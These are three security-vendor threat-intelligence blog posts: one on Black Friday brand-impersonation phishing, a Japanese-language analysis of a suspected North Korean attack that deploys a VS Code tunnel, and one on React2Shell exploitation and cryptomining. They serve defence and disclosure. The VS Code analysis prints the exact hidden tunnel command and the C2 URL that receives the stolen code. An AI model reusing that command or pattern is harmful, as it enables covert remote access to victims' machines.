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November 27, 2025

From Amazon to Louis Vuitton: How Darktrace Detects Black Friday Phishing Attacks

Darktrace detected a surge in Black Friday phishing campaigns exploiting brand impersonation, urgency-driven language, and malicious redirects. Attackers leveraged newly registered domains and social engineering to mimic Amazon, Louis Vuitton, and luxury watch retailers. Learn how layered evasion tactics bypassed security and how Darktrace / EMAIL neutralized these threats.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Ryan Traill
Analyst Content Lead
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27
Nov 2025

Why Black Friday Drives a Surge in Phishing Attacks

In recent years, Black Friday has shifted from a single day of online retail sales and discounts to an extended ‘Black Friday Week’, often preceded by weeks of online hype. During this period, consumers are inundated with promotional emails and marketing campaigns as legitimate retailers compete for attention.

Unsurprisingly, this surge in legitimate communications creates an ideal environment for threat actors to launch targeted phishing campaigns designed to mimic legitimate retail emails. These campaigns often employ social engineering techniques that exploit urgency, exclusivity, and consumer trust in well-known brands, tactics designed to entice recipients into opening emails and clicking on malicious links.

Additionally, given the seasonal nature of Black Friday and the ever-changing habits of consumers, attackers adopt new tactics and register fresh domains each year, rather than reusing domains previously flagged as spam or phishing endpoints. While this may pose a challenge for traditional email security tools, it presents no such difficulty for Darktrace / EMAIL and its anomaly-based approach.

In the days and weeks leading up to ‘Black Friday’, Darktrace observed a spike in sophisticated phishing campaigns targeting consumers, demonstrating how attackers combine phycological manipulation with technical evasion to bypass basic security checks during this high-traffic period. This blog showcases several notable examples of highly convincing phishing emails detected and contained by Darktrace / EMAIL in mid to late November 2025.

Darktrace’s Black Friday Detections

Brand Impersonation: Deal Watchdogs’ Amazon Deals

The impersonation major online retailers has become a common tactic in retail-focused attacks, none more so than Amazon, which ranked as the fourth most impersonated brand in 2024, only behind Microsoft, Apple, Google, and Facebook [1]. Darktrace’s own research found Amazon to be the most mimicked brand, making up 80% of phishing attacks in its analysis of global consumer brands.

When faced with an email that appears to come from a trusted sender like Amazon, recipients are far more likely to engage, increasing the success rate of these phishing campaigns.

In one case observed on November 16, Darktrace detected an email with the subject line “NOW LIVE: Amazon’s Best Early Black Friday Deals on Gadgets Under $60”. The email was sent to a customer by the sender ‘Deal Watchdogs’, in what appeared to be an attempt to masquerade as a legitimate discount-finding platform. No evidence indicated that the company was legitimate. In fact, the threat actor made no attempt to create a convincing name, and the domain appeared to be generated by a domain generation algorithm (DGA), as shown in Figure 2.

Although the email was sent by ‘Deal Watchdogs’, it attempted to impersonate Amazon by featuring realistic branding, including the Amazon logo and a shade of orange similar to that used by them for the ‘CLICK HERE’ button and headline text.

Figure 1: The contents of the email observed by Darktrace, featuring authentic-looking Amazon branding.

Darktrace identified that the email, marked as urgent by the sender, contained a suspicious link to a Google storage endpoint (storage.googleapis[.]com), which had been hidden by the text “CLICK HERE”. If clicked, the link could have led to a credential harvester or served as a delivery vector for a malicious payload hosted on the Google storage platform.

Fortunately, Darktrace immediately identified the suspicious nature of this email and held it before delivery, preventing recipients from ever receiving or interacting with the malicious content.

Figure 2: Darktrace / EMAIL’s detection of the malicious phishing email sent to a customer.

Around the same time, Darktrace detected a similar email attempting to spoof Amazon on another customer’s network with the subject line “Our 10 Favorite Deals on Amazon That Started Today”, also sent by ‘Deal Watchdogs,’ suggesting a broader campaign.

Analysis revealed that this email originated from the domain petplatz[.]com, a fake marketing domain previously linked to spam activity according to open-source intelligence (OSINT) [2].

Brand Impersonation: Louis Vuitton

A few days later, on November 20, Darktrace / EMAIL detected a phishing email attempting to impersonate the luxury fashion brand Louis Vuitton. At first glance, the email, sent under the name ‘Louis Vuitton’ and titled “[Black Friday 2025] Discover Your New Favorite Louis Vuitton Bag – Elegance Starts Here”, appeared to be a legitimate Black Friday promotion. However, Darktrace’s analysis uncovered several red flags indicating a elaborate brand impersonation attempt.

The email was not sent by Louis Vuitton but by rskkqxyu@bookaaatop[.]ru, a Russia-based domain never before observed on the customer’s network. Darktrace flagged this as suspicious, noting that .ru domains were highly unusual for this recipient’s environment, further reinforcing the likelihood of malicious intent. Subsequent analysis revealed that the domain had only recently registered and was flagged as malicious by multiple OSINT sources [3].

Figure 3: Darktrace / EMAIL’s detection of the malicious email attempting to spoofLouis Vuitton, originating from a suspicious Russia-based domain.

Darktrace further noted that the email contained a highly suspicious link hidden behind the text “View Collection” and “Unsubscribe,” ensuring that any interaction, whether visiting the supposed ‘handbag store’ or attempting to opt out of marketing emails, would direct recipients to the same endpoint. The link resolved to xn--80aaae9btead2a[.]xn--p1ai (топааабоок[.]рф), a domain confirmed as malicious by multiple OSINT sources [4]. At the time of analysis, the domain was inaccessible, likely due to takedown efforts or the short-lived nature of the campaign.

Darktrace / EMAIL blocked this email before it reached customer inboxes, preventing recipients from interacting with the malicious content and averting any disruption.

Figure 4: The suspicious domain linked in the Louis Vuitton phishing email, now defunct.

Too good to be true?

Aside from spoofing well-known brands, threat actors frequently lure consumers with “too good to be true” luxury offers, a trend Darktrace observed in multiple cases throughout November.

In one instance, Darktrace identified an email with the subject line “[Black Friday 2025] Luxury Watches Starting at $250.” Emails contained a malicious phishing link, hidden behind text like “Rolex Starting from $250”, “Shop Now”, and “Unsubscribe”.

Figure 5: Example of a phishing email detected by Darktrace, containing malicious links concealed behind seemingly innocuous text.

Similarly to the Louis Vuitton email campaign described above, this malicious link led to a .ru domain (hxxps://x.wwwtopsalebooks[.]ru/.../d65fg4er[.]html), which had been flagged as malicious by multiple sources [5].

Figure 6: Darktrace / EMAIL’s detection of a malicious email promoting a fake luxury watch store, which was successfully held from recipient inboxes.

If accessed, this domain would redirect users to luxy-rox[.]com, a recently created domain (15 days old at the time of writing) that has also been flagged as malicious by OSINT sources [6]. When visited, the redirect domain displayed a convincing storefront advertising high-end watches at heavily discounted prices.

Figure 7: The fake storefront presented upon visiting the redirectdomain, luxy-rox[.]com.

Although the true intent of this domain could not be confirmed, it was likely a scam site or a credential-harvesting operation, as users were required to create an account to complete a purchase. As of the time or writing, the domain in no longer accessible .

This email illustrates a layered evasion tactic: attackers employed multiple domains, rapid domain registration, and concealed redirects to bypass detection. By leveraging luxury branding and urgency-driven discounts, the campaign sought to exploit seasonal shopping behaviors and entice victims into clicking.

Staying Protected During Seasonal Retail Scams

The investigation into these Black Friday-themed phishing emails highlights a clear trend: attackers are exploiting seasonal shopping events with highly convincing campaigns. Common tactics observed include brand impersonation (Amazon, Louis Vuitton, luxury watch brands), urgency-driven subject lines, and hidden malicious links often hosted on newly registered domains or cloud services.

These campaigns frequently use redirect chains, short-lived infrastructure, and psychological hooks like exclusivity and luxury appeal to bypass user scepticism and security filters. Organizations should remain vigilant during retail-heavy periods, reinforcing user awareness training, link inspection practices, and anomaly-based detection to mitigate these evolving threats.

Credit to Ryan Traill (Analyst Content Lead) and Owen Finn (Cyber Analyst)

Appendices

References

1.        https://keepnetlabs.com/blog/top-5-most-spoofed-brands-in-2024

2.        https://www.virustotal.com/gui/domain/petplatz.com

3.        https://www.virustotal.com/gui/domain/bookaaatop.ru

4.        https://www.virustotal.com/gui/domain/xn--80aaae9btead2a.xn--p1ai

5.        https://www.virustotal.com/gui/url/e2b868a74531cd779d8f4a0e1e610ec7f4efae7c29d8b8ab32c7a6740d770897?nocache=1

6.        https://www.virustotal.com/gui/domain/luxy-rox.com

Indicators of Compromise (IoCs)

IoC – Type – Description + Confidence

petplatz[.]com – Hostname – Spam domain

bookaaatop[.]ru – Hostname – Malicious Domain

xn--80aaae9btead2a[.]xn--p1ai (топааабоок[.]рф) – Hostname - Malicious Domain

hxxps://x.wwwtopsalebooks[.]ru/.../d65fg4er[.]html) – URL – Malicious Domain

luxy-rox[.]com – Hostname -  Malicious Domain

MITRE ATT&CK Mapping  

Tactic – Technique – Sub-Technique  

Initial Access - Phishing – (T1566)  

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Ryan Traill
Analyst Content Lead

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January 26, 2026

ダークトレース、韓国を標的とした、VS Codeを利用したリモートアクセス攻撃を特定

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はじめに

ダークトレースのアナリストは、韓国のユーザーを標的とした、北朝鮮(DPRK)が関係していると思われる攻撃を検知しました。このキャンペーンはJavascriptEncoded(JSE)スクリプトと政府機関を装ったおとり文書を使ってVisual Studio Code(VS Code)トンネルを展開し、リモートアクセスを確立していました。

技術分析

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
図1: 「2026年上半期国立大学院夜間プログラムの学生選抜に関する文書」という表題のおとり文書。

このキャンペーンで確認されたサンプルは、Hangul Word Processor (HWPX) 文書に偽装したJSEファイルであり、スピアフィッシングEメールを使って標的に送付されたと考えられます。このJSEファイルは複数のBase64エンコードされたブロブを含み、Windows Script Hostによって実行されます。このHWPXファイルは“2026年上半期国立大学院夜間プログラムの学生選抜に関する文書(1)”という名前で、C:\ProgramDataにあり、おとりとして開かれます。この文書は韓国の公務員に関連する事務を管掌する政府機関、人事革新処を装ったものでした。文書内のメタデータから、脅威アクターは文書を本物らしくみせるため、政府ウェブサイトから文書を取得し、編集したと思われます。

Base64 encoded blob.
図2: Base64エンコードされたブロブ

このスクリプトは次に、VSCode CLI ZIPアーカイブをMicrosoftからC:\ProgramDataへ、code.exe(正規のVS Code実行形式)およびout.txtという名前のファイルとともにダウンロードします。

隠されたウィンドウで、コマンドcmd.exe/c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene >"C:\ProgramData\out.txt" 2>&1 が実行され、 “bizeugene”という名前のVS Codeトンネルが確立されます。

VSCode Tunnel setup.
図3: VSCode トンネルの設定

VS Codeトンネルを使うことにより、ユーザーはリモートコンピューターに接続してVisualStudio Codeを実行できます。リモートコンピューターがVS Codeサーバーを実行し、このサーバーはMicrosoftのトンネルサービスに対する暗号化された接続を作成します。その後ユーザーはGitHubまたはMicrosoftにサインインし、VS CodeアプリケーションまたはWebブラウザを使って別のデバイスからこのマシンに接続することができます。VS Codeトンネルの悪用は2023年に最初に発見されて以来、東南アジアのデジタルインフラおよび政府機関を標的とする[1]中国のAPT(AdvancedPersistent Threat)グループにより使用されています。

 Contents of out.txt.
図4: out.txtの中身

“out.txt” ファイルには、VS Code Serverログおよび生成されたGitHubデバイスコードが含まれています。脅威アクターがGitHubアカウントからこのトンネルを承認すると、VS Codeを使って侵害されたシステムに接続されます。これにより脅威アクターはこのシステムに対する対話型のアクセスが可能となり、VS Codeターミナルやファイルブラウザーを使用して、ペイロードの取得やデータの抜き出しが可能になります。

GitHub screenshot after connection is authorized.
図5: 接続が承認された後のGitHub画面

このコード、およびトンネルトークン“bizeugene”が、POSTリクエストとしてhttps://www.yespp.co.kr/common/include/code/out.phpに送信されます。このコードは韓国にある正規のサイトですが、侵害されてC2サーバーとして使用されています。

まとめ

この攻撃で見られたHancom文書フォーマットの使用、政府機関へのなりすまし、長期のリモートアクセス、標的の選択は、過去に北朝鮮との関係が確認された脅威アクターの作戦パターンと一致しています。この例だけでは決定的なアトリビューションを行うことはできませんが、既存のDPRKのTTP(戦術、技法、手順)との一致は、このアクティビティが北朝鮮と関係を持つ脅威アクターから発生しているという確信を強めるものです。

また、このアクティビティは脅威アクターがカスタムマルウェアではなく正規のソフトウェアを使って、侵害したシステムへのアクセスを維持できる様子を示しています。VS Codeトンネルを使うことにより、攻撃者は専用のC2サーバーの代わりに、信頼されるMicrosoftインフラを使って通信を行うことができるのです。広く信頼されているアプリケーションの使用は、特に開発者向けツールがインストールされていることが一般的な環境では、検知をより困難にします。既知のマルウェアをブロックすることに重点を置いた従来型のセキュリティコントロールではこの種のアクティビティを識別することはできないかもしれません。ツール自体は有害なものではなく、多くの場合正規のベンダーによって署名されているからです。

作成:タラ・グールド(TaraGould)(マルウェア調査主任)
編集:ライアン・トレイル(Ryan Traill)(アナリストコンテンツ主任)

付録

侵害インジケータ (IoCs)

115.68.110.73 - 侵害されたサイトのIP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001- フィッシング: 添付ファイル

T1059- コマンドおよびスクリプトインタプリタ

T1204.002- ユーザー実行

T1027- ファイルおよび情報の難読化

T1218- 署名付きバイナリプロキシ実行

T1105- 侵入ツールの送り込み

T1090- プロキシ

T1041- C2チャネル経由の抜き出し

参考資料

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

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Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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